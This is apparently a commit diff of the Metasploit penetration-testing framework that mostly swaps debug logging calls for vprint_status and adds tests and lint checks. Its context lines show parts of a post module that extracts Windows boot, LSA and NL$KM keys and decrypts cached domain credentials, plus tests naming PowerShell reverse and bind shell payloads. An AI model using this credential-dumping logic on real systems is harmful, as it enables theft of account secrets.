print_status('Obtaining boot key...')
|
print_status('Obtaining boot key...')
|
||||||
bootkey = capture_boot_key
|
bootkey = capture_boot_key
|
||||||
print_status("Boot key: #{bootkey.unpack("H*")[0]}") if( datastore['DEBUG'] )
|
vprint_status("Boot key: #{bootkey.unpack("H*")[0]}")
|
||||||
|
|
||||||
print_status('Obtaining Lsa key...')
|
print_status('Obtaining Lsa key...')
|
||||||
lsakey = capture_lsa_key(bootkey)
|
lsakey = capture_lsa_key(bootkey)
|
||||||
|
@ -315,11 +310,11 @@ class Metasploit3 < Msf::Post
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
print_status("Lsa Key: #{lsakey.unpack("H*")[0]}") if( datastore['DEBUG'] )
|
vprint_status("Lsa Key: #{lsakey.unpack("H*")[0]}")
|
||||||
|
|
||||||
print_status("Obtaining LK$KM...")
|
print_status("Obtaining LK$KM...")
|
||||||
nlkm = capture_nlkm(lsakey)
|
nlkm = capture_nlkm(lsakey)
|
||||||
print_status("NL$KM: #{nlkm.unpack("H*")[0]}") if( datastore['DEBUG'] )
|
vprint_status("NL$KM: #{nlkm.unpack("H*")[0]}")
|
||||||
|
|
||||||
print_status("Dumping cached credentials...")
|
print_status("Dumping cached credentials...")
|
||||||
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Cache", KEY_READ)
|
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Cache", KEY_READ)
|
||||||
|
@ -340,9 +335,9 @@ class Metasploit3 < Msf::Post
|
||||||
cache = parse_cache_entry(nl)
|
cache = parse_cache_entry(nl)
|
||||||
|
|
||||||
if ( cache.userNameLength > 0 )
|
if ( cache.userNameLength > 0 )
|
||||||
print_status("Reg entry: #{nl.unpack("H*")[0]}") if( datastore['DEBUG'] )
|
vprint_status("Reg entry: #{nl.unpack("H*")[0]}")
|
||||||
print_status("Encrypted data: #{cache.enc_data.unpack("H*")[0]}") if( datastore['DEBUG'] )
|
vprint_status("Encrypted data: #{cache.enc_data.unpack("H*")[0]}")
|
||||||
print_status("Ch: #{cache.ch.unpack("H*")[0]}") if( datastore['DEBUG'] )
|
vprint_status("Ch: #{cache.ch.unpack("H*")[0]}")
|
||||||
|
|
||||||
if lsa_vista_style?
|
if lsa_vista_style?
|
||||||
dec_data = decrypt_hash_vista(cache.enc_data, nlkm, cache.ch)
|
dec_data = decrypt_hash_vista(cache.enc_data, nlkm, cache.ch)
|
||||||
|
@ -350,7 +345,7 @@ class Metasploit3 < Msf::Post
|
||||||
dec_data = decrypt_hash(cache.enc_data, nlkm, cache.ch)
|
dec_data = decrypt_hash(cache.enc_data, nlkm, cache.ch)
|
||||||
end
|
end
|
||||||
|
|
||||||
print_status("Decrypted data: #{dec_data.unpack("H*")[0]}") if( datastore['DEBUG'] )
|
vprint_status("Decrypted data: #{dec_data.unpack("H*")[0]}")
|
||||||
|
|
||||||
john << parse_decrypted_cache(dec_data, cache)
|
john << parse_decrypted_cache(dec_data, cache)
|
||||||
|
|
||||||
|
|
|
@ -185,7 +185,7 @@ class Metasploit3 < Msf::Post
|
||||||
:source_type => "exploit",
|
:source_type => "exploit",
|
||||||
:user => user_name,
|
:user => user_name,
|
||||||
:pass => password)
|
:pass => password)
|
||||||
print_debug "Should have reported..."
|
vprint_status("Should have reported...")
|
||||||
|
|
||||||
# Set savedpwds to 1 on return
|
# Set savedpwds to 1 on return
|
||||||
return 1
|
return 1
|
||||||
|
|
|
@ -86,12 +86,12 @@ class Metasploit3 < Msf::Post
|
||||||
end
|
end
|
||||||
|
|
||||||
def read(size)
|
def read(size)
|
||||||
vprint_debug("Reading #{size} bytes")
|
vprint_status("Reading #{size} bytes")
|
||||||
client.railgun.kernel32.ReadFile(@handle, size, size, 4, nil)['lpBuffer']
|
client.railgun.kernel32.ReadFile(@handle, size, size, 4, nil)['lpBuffer']
|
||||||
end
|
end
|
||||||
|
|
||||||
def seek(offset)
|
def seek(offset)
|
||||||
vprint_debug("Seeking to offset #{offset}")
|
vprint_status("Seeking to offset #{offset}")
|
||||||
high_offset = offset >> 32
|
high_offset = offset >> 32
|
||||||
low_offset = offset & (2**33 - 1)
|
low_offset = offset & (2**33 - 1)
|
||||||
client.railgun.kernel32.SetFilePointer(@handle, low_offset, high_offset, 0)
|
client.railgun.kernel32.SetFilePointer(@handle, low_offset, high_offset, 0)
|
||||||
|
|
2
msfcli
2
msfcli
|
@ -19,8 +19,6 @@ while File.symlink?(msfbase)
|
||||||
end
|
end
|
||||||
|
|
||||||
$:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib')))
|
$:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib')))
|
||||||
require 'rex'
|
|
||||||
|
|
||||||
|
|
||||||
class Msfcli
|
class Msfcli
|
||||||
#
|
#
|
||||||
|
|
|
@ -13,7 +13,11 @@ module Msf
|
||||||
def desc
|
def desc
|
||||||
"Nessus Bridge for Metasploit"
|
"Nessus Bridge for Metasploit"
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def desc
|
||||||
|
"Nessus Bridge for Metasploit"
|
||||||
|
end
|
||||||
|
|
||||||
class ConsoleCommandDispatcher
|
class ConsoleCommandDispatcher
|
||||||
include Msf::Ui::Console::CommandDispatcher
|
include Msf::Ui::Console::CommandDispatcher
|
||||||
|
|
||||||
|
|
|
@ -10,7 +10,8 @@ describe Msf::OptAddressRange do
|
||||||
{ :value => "192.0.2.0-255", :normalized => "192.0.2.0-255" },
|
{ :value => "192.0.2.0-255", :normalized => "192.0.2.0-255" },
|
||||||
{ :value => "192.0.2.0,1-255", :normalized => "192.0.2.0,1-255" },
|
{ :value => "192.0.2.0,1-255", :normalized => "192.0.2.0,1-255" },
|
||||||
{ :value => "192.0.2.*", :normalized => "192.0.2.*" },
|
{ :value => "192.0.2.*", :normalized => "192.0.2.*" },
|
||||||
{ :value => "192.0.2.0-192.0.2.255", :normalized => "192.0.2.0-192.0.2.255" }
|
{ :value => "192.0.2.0-192.0.2.255", :normalized => "192.0.2.0-192.0.2.255" },
|
||||||
|
{ :value => "file:#{File.expand_path('short_address_list.txt',FILE_FIXTURES_PATH)}", :normalized => '192.168.1.1 192.168.1.2 192.168.1.3 192.168.1.4 192.168.1.5'}
|
||||||
]
|
]
|
||||||
invalid_values = [
|
invalid_values = [
|
||||||
# Too many dots
|
# Too many dots
|
||||||
|
|
|
@ -6,7 +6,8 @@ require 'msf/core/option_container'
|
||||||
describe Msf::OptRaw do
|
describe Msf::OptRaw do
|
||||||
|
|
||||||
valid_values = [
|
valid_values = [
|
||||||
{ :value => 'foo', :normalized => 'foo' }
|
{ :value => 'foo', :normalized => 'foo' },
|
||||||
|
{ :value => "file:#{File.expand_path('string_list.txt',FILE_FIXTURES_PATH)}",:normalized => "foo\nbar\nbaz" }
|
||||||
]
|
]
|
||||||
invalid_values = []
|
invalid_values = []
|
||||||
|
|
||||||
|
|
|
@ -161,69 +161,6 @@ describe Msf::Ui::Console::CommandDispatcher::Core do
|
||||||
set_and_test_variable(name, 'FRAMEWORK', 'MODULE', /^#{name} => FRAMEWORK$/, /^#{name} => MODULE$/)
|
set_and_test_variable(name, 'FRAMEWORK', 'MODULE', /^#{name} => FRAMEWORK$/, /^#{name} => MODULE$/)
|
||||||
end
|
end
|
||||||
|
|
||||||
context "when using file: prefix in the value" do
|
|
||||||
context "when the file exists" do
|
|
||||||
|
|
||||||
before(:each) do
|
|
||||||
allow(::File).to receive(:new) do |filename, mode|
|
|
||||||
fd = StringIO.new(file_contents, mode)
|
|
||||||
fd
|
|
||||||
end
|
|
||||||
|
|
||||||
allow_any_instance_of(::StringIO).to receive(:stat) do |io|
|
|
||||||
file_contents
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
context "when the size is 1MB" do
|
|
||||||
let(:file_name) do
|
|
||||||
::Rex::Text.rand_text_alpha(10).upcase
|
|
||||||
end
|
|
||||||
|
|
||||||
let(:file_contents) do
|
|
||||||
::Rex::Text.rand_text_alpha(1024 * 1024).upcase
|
|
||||||
end
|
|
||||||
|
|
||||||
it "should show the new value" do
|
|
||||||
set_and_test_variable(name, nil, "file:/#{file_name}", nil, /^#{name} => #{file_contents}$/)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
context "when the size is greater than 1MB" do
|
|
||||||
let(:file_name) do
|
|
||||||
::Rex::Text.rand_text_alpha(10).upcase
|
|
||||||
end
|
|
||||||
|
|
||||||
let(:file_contents) do
|
|
||||||
::Rex::Text.rand_text_alpha(1024 * 1025).upcase
|
|
||||||
end
|
|
||||||
|
|
||||||
it "should show the old value" do
|
|
||||||
set_and_test_variable(name, nil, "file:/#{file_name}", nil, /^#{name} => $/)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
context "when the size is less than 1MB" do
|
|
||||||
let(:file_name) do
|
|
||||||
::Rex::Text.rand_text_alpha(10).upcase
|
|
||||||
end
|
|
||||||
|
|
||||||
let(:file_contents) do
|
|
||||||
::Rex::Text.rand_text_alpha(10).upcase
|
|
||||||
end
|
|
||||||
|
|
||||||
it "should show the new value" do
|
|
||||||
set_and_test_variable(name, nil, "file:/#{file_name}", nil, /^#{name} => #{file_contents}$/)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
context "when the file doesn't exist" do
|
|
||||||
it "should show the old value" do
|
|
||||||
set_and_test_variable(name, nil, "file:/#{::Rex::Text.rand_text_alpha(10).upcase}", nil, /^#{name} => $/)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -141,6 +141,71 @@ describe Rex::Proto::Http::Response do
|
||||||
cookies.split(';').map(&:strip)
|
cookies.split(';').map(&:strip)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
describe '#get_hidden_inputs' do
|
||||||
|
let(:response) do
|
||||||
|
res = Rex::Proto::Http::Response.new(200, 'OK')
|
||||||
|
res.body = %Q|
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<body>
|
||||||
|
<form action="test.php">
|
||||||
|
<input name="input_1" type="hidden" value="some_value_1" />
|
||||||
|
</form>
|
||||||
|
<form>
|
||||||
|
<input name="input_0" type="text" value="Not a hidden input" />
|
||||||
|
<input name="input_1" type="hidden" value="some_value_1" />
|
||||||
|
<INPUT name="input_2" type="hidden" value="" />
|
||||||
|
</form>
|
||||||
|
</body>
|
||||||
|
</head>
|
||||||
|
</htm>
|
||||||
|
|
|
||||||
|
res
|
||||||
|
end
|
||||||
|
|
||||||
|
subject do
|
||||||
|
cli = Rex::Proto::Http::Client.new('127.0.0.1')
|
||||||
|
cli.connect
|
||||||
|
req = cli.request_cgi({'uri'=>'/'})
|
||||||
|
res = cli.send_recv(req)
|
||||||
|
res
|
||||||
|
end
|
||||||
|
|
||||||
|
before(:each) do
|
||||||
|
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:request_cgi).with(any_args)
|
||||||
|
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:send_recv).with(any_args).and_return(response)
|
||||||
|
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:set_config).with(any_args)
|
||||||
|
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:close)
|
||||||
|
allow_any_instance_of(Rex::Proto::Http::Client).to receive(:connect)
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'when an HTML page contains two forms containing hidden inputs' do
|
||||||
|
it 'returns an array' do
|
||||||
|
expect(subject.get_hidden_inputs).to be_kind_of(Array)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'returns hashes in the array' do
|
||||||
|
subject.get_hidden_inputs.each do |form|
|
||||||
|
expect(form).to be_kind_of(Hash)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'returns \'some_value_1\' in the input_1 hidden input from the first element' do
|
||||||
|
expect(subject.get_hidden_inputs[0]['input_1']).to eq('some_value_1')
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'returns two hidden inputs in the second element' do
|
||||||
|
expect(subject.get_hidden_inputs[1].length).to eq(2)
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'returns an empty string for the input_2 hidden input from the second element' do
|
||||||
|
expect(subject.get_hidden_inputs[1]['input_2']).to be_empty
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
context "#get_cookies" do
|
context "#get_cookies" do
|
||||||
|
|
||||||
it 'returns empty string for no Set-Cookies' do
|
it 'returns empty string for no Set-Cookies' do
|
||||||
|
|
|
@ -758,6 +758,26 @@ describe 'modules/payloads', :content do
|
||||||
reference_name: 'cmd/windows/generic'
|
reference_name: 'cmd/windows/generic'
|
||||||
end
|
end
|
||||||
|
|
||||||
|
context 'cmd/windows/powershell_bind_tcp' do
|
||||||
|
it_should_behave_like 'payload cached size is consistent',
|
||||||
|
ancestor_reference_names: [
|
||||||
|
'singles/cmd/windows/powershell_bind_tcp'
|
||||||
|
],
|
||||||
|
dynamic_size: false,
|
||||||
|
modules_pathname: modules_pathname,
|
||||||
|
reference_name: 'cmd/windows/powershell_bind_tcp'
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'cmd/windows/powershell_reverse_tcp' do
|
||||||
|
it_should_behave_like 'payload cached size is consistent',
|
||||||
|
ancestor_reference_names: [
|
||||||
|
'singles/cmd/windows/powershell_reverse_tcp'
|
||||||
|
],
|
||||||
|
dynamic_size: false,
|
||||||
|
modules_pathname: modules_pathname,
|
||||||
|
reference_name: 'cmd/windows/powershell_reverse_tcp'
|
||||||
|
end
|
||||||
|
|
||||||
context 'cmd/windows/reverse_lua' do
|
context 'cmd/windows/reverse_lua' do
|
||||||
it_should_behave_like 'payload cached size is consistent',
|
it_should_behave_like 'payload cached size is consistent',
|
||||||
ancestor_reference_names: [
|
ancestor_reference_names: [
|
||||||
|
@ -3794,6 +3814,26 @@ describe 'modules/payloads', :content do
|
||||||
reference_name: 'windows/patchupmeterpreter/bind_hidden_ipknock_tcp'
|
reference_name: 'windows/patchupmeterpreter/bind_hidden_ipknock_tcp'
|
||||||
end
|
end
|
||||||
|
|
||||||
|
context 'windows/powershell_bind_tcp' do
|
||||||
|
it_should_behave_like 'payload cached size is consistent',
|
||||||
|
ancestor_reference_names: [
|
||||||
|
'singles/windows/powershell_bind_tcp'
|
||||||
|
],
|
||||||
|
dynamic_size: false,
|
||||||
|
modules_pathname: modules_pathname,
|
||||||
|
reference_name: 'windows/powershell_bind_tcp'
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'windows/powershell_reverse_tcp' do
|
||||||
|
it_should_behave_like 'payload cached size is consistent',
|
||||||
|
ancestor_reference_names: [
|
||||||
|
'singles/windows/powershell_reverse_tcp'
|
||||||
|
],
|
||||||
|
dynamic_size: false,
|
||||||
|
modules_pathname: modules_pathname,
|
||||||
|
reference_name: 'windows/powershell_reverse_tcp'
|
||||||
|
end
|
||||||
|
|
||||||
context 'windows/shell/bind_hidden_ipknock_tcp' do
|
context 'windows/shell/bind_hidden_ipknock_tcp' do
|
||||||
it_should_behave_like 'payload cached size is consistent',
|
it_should_behave_like 'payload cached size is consistent',
|
||||||
ancestor_reference_names: [
|
ancestor_reference_names: [
|
||||||
|
|
|
@ -1,5 +1,4 @@
|
||||||
shared_examples_for 'Msf::Module::UI::Message::Verbose' do
|
shared_examples_for 'Msf::Module::UI::Message::Verbose' do
|
||||||
it { is_expected.to respond_to :vprint_debug }
|
|
||||||
it { is_expected.to respond_to :vprint_error }
|
it { is_expected.to respond_to :vprint_error }
|
||||||
it { is_expected.to respond_to :vprint_good }
|
it { is_expected.to respond_to :vprint_good }
|
||||||
it { is_expected.to respond_to :vprint_status }
|
it { is_expected.to respond_to :vprint_status }
|
||||||
|
|
|
@ -34,12 +34,12 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
|
|
||||||
def check
|
def check
|
||||||
print_debug "Check is successful"
|
vprint_status("Check is successful")
|
||||||
return Msf::Exploit::CheckCode::Vulnerable
|
return Msf::Exploit::CheckCode::Vulnerable
|
||||||
end
|
end
|
||||||
|
|
||||||
def run
|
def run
|
||||||
print_debug "Run is successful."
|
vprint_status("Run is successful.")
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -34,12 +34,12 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
|
|
||||||
def check
|
def check
|
||||||
print_debug "Check is successful"
|
vprint_status("Check is successful")
|
||||||
return Msf::Exploit::CheckCode::Vulnerable
|
return Msf::Exploit::CheckCode::Vulnerable
|
||||||
end
|
end
|
||||||
|
|
||||||
def run
|
def run
|
||||||
print_debug "Run is successful."
|
vprint_status("Run is successful.")
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -123,7 +123,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
|
|
||||||
def on_request_exploit(cli, request, target_info)
|
def on_request_exploit(cli, request, target_info)
|
||||||
print_debug("Target selected: #{get_target.name}")
|
vprint_status("Target selected: #{get_target.name}")
|
||||||
print_line(Rex::Text.to_hex_dump([rop_junk].pack("V*")))
|
print_line(Rex::Text.to_hex_dump([rop_junk].pack("V*")))
|
||||||
print_line(Rex::Text.to_hex_dump([rop_nop].pack("V*")))
|
print_line(Rex::Text.to_hex_dump([rop_nop].pack("V*")))
|
||||||
p = get_payload(cli, target_info)
|
p = get_payload(cli, target_info)
|
||||||
|
@ -148,4 +148,4 @@ end
|
||||||
=begin
|
=begin
|
||||||
Example of raw target_info:
|
Example of raw target_info:
|
||||||
{:source=>"script", :os_name=>"Microsoft Windows", :os_flavor=>"XP", :ua_name=>"MSIE", :ua_ver=>"8.0", :arch=>"x86", :office=>"null", :proxy=>false, :language=>"en-us", :tried=>true}
|
{:source=>"script", :os_name=>"Microsoft Windows", :os_flavor=>"XP", :ua_name=>"MSIE", :ua_ver=>"8.0", :arch=>"x86", :office=>"null", :proxy=>false, :language=>"en-us", :tried=>true}
|
||||||
=end
|
=end
|
||||||
|
|
|
@ -32,12 +32,12 @@ class Metasploit3 < Msf::Exploit
|
||||||
end
|
end
|
||||||
|
|
||||||
def check
|
def check
|
||||||
print_debug "Check is successful"
|
vprint_status("Check is successful")
|
||||||
return Msf::Exploit::CheckCode::Vulnerable
|
return Msf::Exploit::CheckCode::Vulnerable
|
||||||
end
|
end
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
print_debug "Exploit is successful."
|
vprint_status("Exploit is successful.")
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -601,6 +601,33 @@ class Msftidy
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Check for (v)print_debug usage, since it doesn't exist anymore
|
||||||
|
#
|
||||||
|
# @see https://github.com/rapid7/metasploit-framework/issues/3816
|
||||||
|
def check_print_debug
|
||||||
|
if @source =~ /print_debug/
|
||||||
|
error('Please don\'t use (v)print_debug, use vprint_(status|good|error|warning) instead')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Check for modules registering the DEBUG datastore option
|
||||||
|
#
|
||||||
|
# @see https://github.com/rapid7/metasploit-framework/issues/3816
|
||||||
|
def check_register_datastore_debug
|
||||||
|
if @source =~ /Opt.*\.new\(["'](?i)DEBUG(?-i)["']/
|
||||||
|
error('Please don\'t register a DEBUG datastore option, it has an special meaning and is used for development')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Check for modules using the DEBUG datastore option
|
||||||
|
#
|
||||||
|
# @see https://github.com/rapid7/metasploit-framework/issues/3816
|
||||||
|
def check_use_datastore_debug
|
||||||
|
if @source =~ /datastore\[["'](?i)DEBUG(?-i)["']\]/
|
||||||
|
error('Please don\'t use the DEBUG datastore option in production, it has an special meaning and is used for development')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
private
|
private
|
||||||
|
|
||||||
def load_file(file)
|
def load_file(file)
|
||||||
|
@ -650,6 +677,9 @@ def run_checks(full_filepath)
|
||||||
tidy.check_sock_get
|
tidy.check_sock_get
|
||||||
tidy.check_udp_sock_get
|
tidy.check_udp_sock_get
|
||||||
tidy.check_invalid_url_scheme
|
tidy.check_invalid_url_scheme
|
||||||
|
tidy.check_print_debug
|
||||||
|
tidy.check_register_datastore_debug
|
||||||
|
tidy.check_use_datastore_debug
|
||||||
return tidy
|
return tidy
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue